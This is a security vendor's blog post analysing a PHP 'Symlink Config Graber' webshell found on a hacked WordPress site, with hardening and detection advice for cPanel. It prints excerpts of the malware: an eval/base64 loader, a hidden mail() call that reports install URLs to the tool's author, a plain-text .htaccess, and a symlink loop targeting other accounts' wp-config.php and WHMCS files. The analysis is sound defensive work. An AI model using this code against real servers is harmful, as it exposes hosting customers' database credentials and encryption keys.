# Symlink Attacks: How One Hacked Account Reads Every wp-config.php on the Server

> A real 'Symlink Config Graber' found on a WordPress site: how symbolic links let one hacked account read the database passwords of every other account, why it works on shared hosting, and how to detect it and close it on cPanel.

Source: https://www.pyxsoft.com/blog/symlink-attacks-shared-hosting
Published: 2026-11-14
Tags: symlink, cpanel, wordpress, shared-hosting, security, research

---

![Rows of account folders on a server; from one infected folder, thin orange-red threads reach into the neighbouring folders and pull out their configuration files](https://www.pyxsoft.com/_astro/cover.DUWNlmfk.jpg)

On a shared server, every hosting account is supposed to be a closed room. Each customer's PHP runs as that customer's user, and nobody else can open their files. A symlink attack gets around that without breaking any password. The attacker only needs a foothold in one account, usually a hacked WordPress site, and a web server that is willing to follow a link.

Once it works, the attacker has the `wp-config.php` of every WordPress site on the server: database names, users, passwords and secret keys. On a hosting company's own server, they may also get the WHMCS configuration, which holds the key that encrypts customers' stored card and account details.

This is how it's done, using a tool that reached [Pyxsoft Labs](https://www.pyxsoft.com/anti-malware) on November 1.

<!--truncate-->

## The file as we received it

Sample 1207 was found as `~/public_html/wp-content/plugins/mad/mina1.php`, disguised as a plugin. It is 10 KB and opens like this:

```php
<?php ?><?php
@session_start();
@error_reporting(0);
@ini_set('display_errors', 0);
?>
<html>
<head>
<title>[+[Symlink Config Graber]+]</title>
...
<font face="Comic Sans MS" color=red><center><h1>MAD TIGER</h1></font>
<?php
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7...";
eval(base64_decode($injbuff));
echo '<b>' . php_uname() . '<br></b>';
echo $_SERVER['SERVER_SOFTWARE'];
```

It is signed at the bottom by "bd grey hat hackers", "Coded & Modified By mad tiger". The tool itself isn't obfuscated. Only one block is hidden, and it hides something from the tool's own users.

## A tool that reports its users

The base64 string decodes to this:

```php
$visitc = $_COOKIE["visits"];
if ($visitc == "") {
  $visitc  = 0;
  $visitor = $_SERVER["REMOTE_ADDR"];
  $web     = $_SERVER["HTTP_HOST"];
  $inj     = $_SERVER["REQUEST_URI"];
  $target  = rawurldecode($web.$inj);
  $sub   = "New sms from Server uploader http://$target by $visitor";
  $body    = "Bug: $target by $visitor - $auth_pass";
  if (!empty($web)) { @mail("madtiger.b***@gmail.com",$sub,$body); }
}
```

Every time someone opens the tool, it emails its author the full URL where it is installed, along with the visitor's IP address. Whoever downloads "Symlink Config Graber" from a forum and plants it on a hacked site hands that site to the tool's author as well. It is meant to send the email only on the first visit, but it reads a cookie named `visits` and sets one named `visitz`, so the email goes out on every visit.

This is common among hacking tools: the author keeps a copy of every server their tool ends up on.

## How the attack works

The page shows the server's name and software, then a single button labelled "FUCK THE CONFIG". Hidden in the form is a full copy of `/etc/passwd`, which on a cPanel server without CageFS lists every hosting account:

```php
<textarea name="passwd" style="display:none;" ...><?php echo file_get_contents('/etc/passwd'); ?></textarea>
```

Pressing the button creates a folder called `mad` and drops this `.htaccess` in it:

```apache
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
...
Options All
```

Then, for every user in `/etc/passwd`, it creates 64 symbolic links to the places where popular applications keep their database password:

```php
foreach ($passwd as $pwd) {
    $pawd = explode(":", $pwd);
    $user = $pawd[0];
    @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wordpress.txt');
    @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wordpress-blog.txt');
    ...
    @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
    @symlink('/home/' . $user . '/public_html/billing/configuration.php', $user . '-Whm6.txt');
    ...
    @symlink('/home/' . $user . '/public_html/app/etc/local.xml', $user . '-Magento2.txt');
    @symlink('/home/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
}
```

The list covers WordPress in a dozen subfolders, Joomla, WHMCS (15 different paths), OpenCart, Magento, Drupal, vBulletin, phpBB, MyBB and SMF. The attacker then opens `/mad/` in a browser, gets a directory listing, and clicks through `alice-wordpress.txt`, `bob-whmcs.txt` and so on.

### Why the web server cooperates

The attacker's PHP code runs as the hacked account's user, and on a cPanel server that user can't read `/home/bob/public_html/wp-config.php`: `public_html` is only open to its owner and to the web server's group. So the tool doesn't read the file itself. It only creates a link, which any user can create to any path.

The web server reads it. When someone requests `/mad/bob-wordpress.txt`, Apache serves it as a static file, running as `nobody`, the user that does have access to every `public_html`. If Apache follows the link, it reads Bob's `wp-config.php` and, thanks to `ForceType text/plain`, sends it as text instead of running it as PHP.

So the whole attack depends on one decision Apache makes: **whether to follow a symbolic link that one account points at another account's file.** The `.htaccess` file tries to answer yes with `Options All` and `FollowSymLinks`.

The tool also writes a `php.ini` that tries to turn off `disable_functions`, `open_basedir` and `safe_mode`. That only works on old setups that read a `php.ini` from the site's folder. With PHP-FPM it is ignored.

This copy is old: it checks whether `symlink` is disabled with `eregi()`, which was removed in PHP 7, so on a current PHP it stops with a fatal error before creating any link. Fixing it takes changing one word, and this kind of tool has been around, updated and renamed, for more than ten years. The method still works if the server allows it.

## Closing it on cPanel

There are several layers, and the first one alone prevents most of the damage.

**1. Make configuration files readable only by their owner.** With PHP-FPM, suPHP or mod_ruid2, PHP runs as the account's user, so `wp-config.php` doesn't need to be readable by anyone else:

```bash
find /home/*/public_html -name wp-config.php -exec chmod 600 {} +
```

Apache, running as `nobody`, can no longer read the file, with or without a link. Do the same for `configuration.php` (Joomla, WHMCS) and other database configuration files.

> **Warning: this can take sites down**
>
> After `chmod 600`, only the file's owner can read it, so the site keeps working only if PHP runs as that same user. Before running it, check:
>
> - **The PHP handler**, under **WHM » MultiPHP Manager**. With DSO (mod_php), PHP runs as `nobody` and every site with a 600 `wp-config.php` stops connecting to its database. The same happens on servers with no panel where PHP runs as `www-data` but the files belong to another user.
> - **Who owns each file.** A `wp-config.php` created by root, during a restore or a manual migration for example, works today because anyone can read it. With 600, only root can, and the site breaks even with the right handler.
> - **Links.** If `wp-config.php` is a symbolic link, `chmod` changes the file it points to, wherever that is.
>
> Try it on one site first, and open a few sites after running it on the whole server.

**2. Don't let Apache follow links into other accounts.** `SymLinksIfOwnerMatch` makes Apache follow a link only when the link and its target have the same owner, which blocks the links in this tool. The catch is that Apache checks first and opens the file afterwards. An attacker who keeps swapping the link between a file of their own and someone else's can slip through the gap. cPanel's [symlink race condition page](https://docs.cpanel.net/ea4/apache/symlink-race-condition-protection/) lists the options, from strongest to weakest:

- **CageFS with link traversal protection** (CloudLinux): each account sees only its own files, and `/etc/passwd` only lists itself.
- **CloudLinux SecureLinks** or the **KernelCare** symlink protection: the kernel refuses to follow the link, so there is no race condition.
- **Symlink Protection** in **WHM » Apache Configuration » Global Configuration**: an Apache patch that cPanel itself recommends only as a last resort, because it is less reliable and can slow down busy servers.

**3. Disable `symlink` in PHP.** Add it to `disable_functions` in the MultiPHP INI Editor. The tool checks for this and gives up. It won't stop an attacker who can run shell commands (`ln -s` does the same thing), but it does stop the copy-and-paste tools.

## Was it used on your server?

Look for links that point into another account's home directory. This loop prints each one with its owner:

```bash
find /home/*/public_html -type l 2>/dev/null | while read -r link; do
  owner=$(stat -c %U "$link")
  target=$(readlink -m "$link")
  case "$target" in
    /home/"$owner"/*) ;;
    /home/*|/etc/*|/root/*|/var/*) echo "$owner  $link -> $target" ;;
  esac
done
```

A folder full of links called `something-wordpress.txt` or `something-whmcs.txt` doesn't need interpreting. Also look for `.htaccess` files that switch PHP to plain text, which legitimate sites almost never do:

```bash
grep -rlE --include=.htaccess 'ForceType text/plain|AddType text/plain \.php' /home/*/public_html
```

And check the access logs to see which files were actually downloaded:

```bash
grep -hE '\-(wordpress|whmcs|joomla|Whm[0-9]?|Drupal|Magento[0-9])[^ ]*\.txt' /var/log/apache2/domlogs/* | awk '{print $1, $7, $9, $10}'
```

A `200` with a non-zero size next to a file name means that file was read. **Treat every configuration that was read as public:** change that site's database password, generate new WordPress salts, and if a WHMCS configuration was among them, follow WHMCS's procedure for a compromised encryption hash. Then clean the account the attack came from. The attacker had full control of it, and [deleting only the tool isn't enough](https://www.pyxsoft.com/blog/why-sites-get-reinfected-after-cleaning).

## What Pyxsoft Anti Malware does

Anti Malware checks every symbolic link it finds during a scan. It reports links that point to a file owned by another user, links into system directories such as `/etc` and `/root`, links that leave their folder, and broken links, which is what most of the 64 links per user created by this tool are. A `mad` folder like this one shows up as a list of dangerous links in that account, and in the settings you choose what happens to them, from reporting them to deleting the link.

The tool itself was flagged when Labs received it: it decodes a hidden string and passes it to `eval`, and it creates links to other users' configuration files.

You can [try Anti Malware free for 7 days](https://www.pyxsoft.com/anti-malware) on cPanel, DirectAdmin or a server with no panel.
